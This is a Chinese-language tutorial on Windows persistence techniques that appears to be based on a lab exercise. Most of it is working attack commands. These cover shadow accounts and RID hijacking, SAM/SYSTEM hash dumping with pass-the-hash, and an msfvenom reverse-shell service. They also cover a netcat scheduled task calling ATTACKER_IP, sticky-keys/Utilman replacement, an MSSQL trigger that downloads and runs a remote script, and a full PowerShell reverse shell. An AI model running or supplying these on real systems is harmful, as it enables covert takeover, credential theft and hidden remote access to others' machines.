Windows权限维持

75

攥改非特权用户

创建影子账户

在windows下,如果在用户名后面添加一个$,那么通过net user是看不见的

image-20230227211314837

但是在管理界面中仍然能看到添加的用户

image-20230227211359561

接下来创建影子账户

打开注注册表,找到

HKLM\SAM\SAM\Domains\Account\Users\Name

选中我们刚刚添加的用户,可以看到右侧的值是0x3f9

同理找到Administrator的是0x1f4

image-20230227212152769

将3F9下F的值覆盖为1F4下F的值

然后从注册表中右键导出hacker$以及3E9

然后通过

net user hacker$ /del 删除用户

然后再双击刚刚导出的两个reg文件导入注册表,影子账户就创建好了,该账户只能在注册表中看到

将账户加入Backup Operator组

直接将账户加入Administrator组看起来很可疑,

可以将账户加入Backup Operators

net user "Backup Operators" xxx /add

由于这是一个非特权帐户,除非我们将其添加到远程桌面用户 (RDP) 或远程管理用户 (WinRM) 组,否则它无法通过 RDP 或 WinRM 返回计算机。我们将使用 WinRM 来完成这项任务:

net localgroup "Remote Management Users" xxx /add

然后可以使用winRM来连接

evil-winrm -i 10.10.141.108 -u thmuser1 -p Password321

发现即使在Backup Operators组中也无对应的权限,whoami /groups发现该组被禁用。这是由于UAC,UAC实现的功能之一LocalAccountTokenFilterPolicy在远程登录时剥夺任何本地帐户的管理权限

通过将以下注册表选项改为1来禁用LocalAccountTokenFilterPolicy

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

接着重新使用evil-winrm连接就有了Backup Operators组的权限

然后就可以备份SAM和SYSTEM文件

reg save HKLM\SAM reg save HKLM\SYSTEM system.hivedownload sam.hivedonwoload system.hive

使用secretdump提取hash

python3 secretsdump.py -sam /Users/xuxuan/sam.hive -system /Users/xuxuan/system.hive LOCAL

然后使用evil-winrm进行PTH以管理员权限连接到受害机器

evil-winrm -i 10.10.141.108 -u Administrator -H 1cea1d7e8899f69e89088c4cb4bbdaa3

赋予账户SeBackupPrivilege和SeRestorePrivilege

无需将用户添加到用户组也可以做到类似的结果,直接将权限给用户

对于Backup Operators组默认有以下两个权限:

SeBackupPrivilege 用户可以读取系统中的任何文件,忽略任何DACLSeRestorePrivilege 用户可以写入系统中的任何文件,忽略任何DACL

使用secedit命令,将当前配置导出到一个临时文件

secedit /export /cfg config.inf

找到这两个权限,再后面添加用户名即可

将 .inf 文件转换为 .sdb 文件,然后使用该文件将配置加载回系统:

secedit /import /cfg config.inf /db config.sdbsecedit /configure /db config.sdb /cfg config.inf

用户仍然无法通过 WinRM 登录系统,所以让我们做点什么。我们不会将用户添加到 Remote Management Users 组,而是更改与 WinRM 服务关联的安全描述符以允许 某个用户进行连接。将安全描述符视为 ACL

Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

这将打开一个GUI窗口,可以在其中添加该用户,并将FullControl改为Allow

RID劫持

创建用户时,会为他们分配一个称为相对 ID (RID) 的标识符。 RID 只是一个代表整个系统用户的数字标识符。当用户登录时,LSASS 进程从 SAM 注册表配置单元获取其 RID 并创建与该 RID 关联的访问令牌。如果我们可以篡改注册表值,我们可以通过将相同的 RID 关联到两个帐户,让 Windows 将管理员访问令牌分配给非特权用户。

查看RID:

 Get-LocalUser|Select-Object -Property Name,sid

wmic useraccount get name,sid

RID即为SID的最后一部分

默认的 Administrator 帐户被分配 RID = 500,而普通用户通常 RID >= 1000

现在我们只需将 RID=500 分配给 某个用户。为此,我们需要使用 Regedit 访问 SAM。 SAM 仅限于 SYSTEM 帐户,因此即使是管理员也无法对其进行编辑。要以 SYSTEM 身份运行 Regedit,我们可以使用 psexec

PsExec64.exe -i -s regedit

找到Computer\HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users下对应的RID的用户(以RID=1010为例)

image-20230226155339396

F2 03改为F4 01 (RID为小端序存储)

添加后门

添加后门服务

创建后门服务

msf生成马:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.27.118  LPORT=4444 -f exe-service  -o test.exe

创建后门服务:

sc.exe create EvilService binPath= "C:\windows\rev-svc.exe" start= auto

启动后门服务:

sc.exe start EvilService

修改现有服务

sc.exe query state=all

获取可用的服务,例如得到THMService3

然后通过sc.exe qc THMService3 查询该服务的配置

通过sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem" 重新配置BINARY_PATH_NAME

计划任务

创建计划任务:

schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM

以上计划任务会每分钟执行一次

查看计划任务:

schtasks /query /tn thm-taskbackdoor

隐藏计划任务:

所有计划任务的安全描述符都保存在HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\中。会为每个任务找到一个注册表项,在该注册表项下名为“SD”的值包含安全描述符。如果您拥有 SYSTEM 权限,则只能删除该值。使用psexec以 SYSTEM 权限打开 Regedit

image-20230226192314472

删掉SD即可隐藏

登陆触发载荷

Startup目录

将载荷放入启动文件夹目录

C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

如果想强制所有用户在登录时运行,可以放入

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

还可以通过注册表来强制启动时运行

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKLM\Software\Microsoft\Windows\CurrentVersion\Run

HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKCU 下的注册表项将仅适用于当前用户,而 HKLM 下的注册表项将适用于所有人。每次用户登录时,运行键下指定的任何程序都会运行。在 RunOnce 键下指定的程序将只执行一次。

image-20230227104008788

winlogon

winlogon是一个在身份验证后立即加载用户配置文件的 Windows 组件

Winlogon 使用 HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ 下的一些注册表项

Userinit 指向 userinit.exe,它负责恢复用户配置文件

shell 指向系统的shell,通常是explorer.exe

可以在后面添加逗号拼上自己的马

image-20230227114032185

userinit.exe 在加载用户配置文件时所做的其中一件事是检查名为 UserInitMprLogonScript 的环境变量。我们可以使用此环境变量将登录脚本分配给将在登录机器时运行的用户。默认情况下未设置该变量,因此我们可以创建它并分配我们喜欢的任何脚本。

image-20230227130051928

shift粘粘健后门

按 5 次 SHIFT 后,Windows 将执行 C:\Windows\System32\sethc.exe 中的二进制文件。

可以将cmd.exe替换sethc.exe

首先需要获取sethc.exe的所有权并赋予当前用户修改他的权限

takeown /f c:\Windows\System32\sethc.exe                                                                                                                                                                                 ​icacls C:\Windows\System32\sethc.exe /grant Administrator:F                                      ​copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

Utilman后门

Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项

image-20230227131402379

其位置为C:\Windows\System32\Utilman.exe

可以将其替换为cmd.exe

mssql后门

运行以下sql语句,启用MSSQL配置的高级选项,再启用xp_cmdshell

sp_configure 'Show Advanced Options',1;RECONFIGURE;GO​sp_configure 'xp_cmdshell',1;RECONFIGURE;GO

但是只有sysadmin角色的数据库用户才能这么做,由于web应用程序可能使用受限的数据库用户,因此我们可以授予所有用户权限以模拟sa用户

USE master​GRANT IMPERSONATE ON LOGIN::sa to [Public];

配置触发器:

CREATE TRIGGER [sql_backdoor]ON HRDB.dbo.Employees FOR INSERT AS​EXECUTE AS LOGIN = 'sa'EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';

反弹shell的powershell脚本

$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4454);​$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);    $sendback = (iex $data 2>&1 | Out-String );    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);    $stream.Write($sendbyte,0,$sendbyte.Length);    $stream.Flush()};​$client.Close()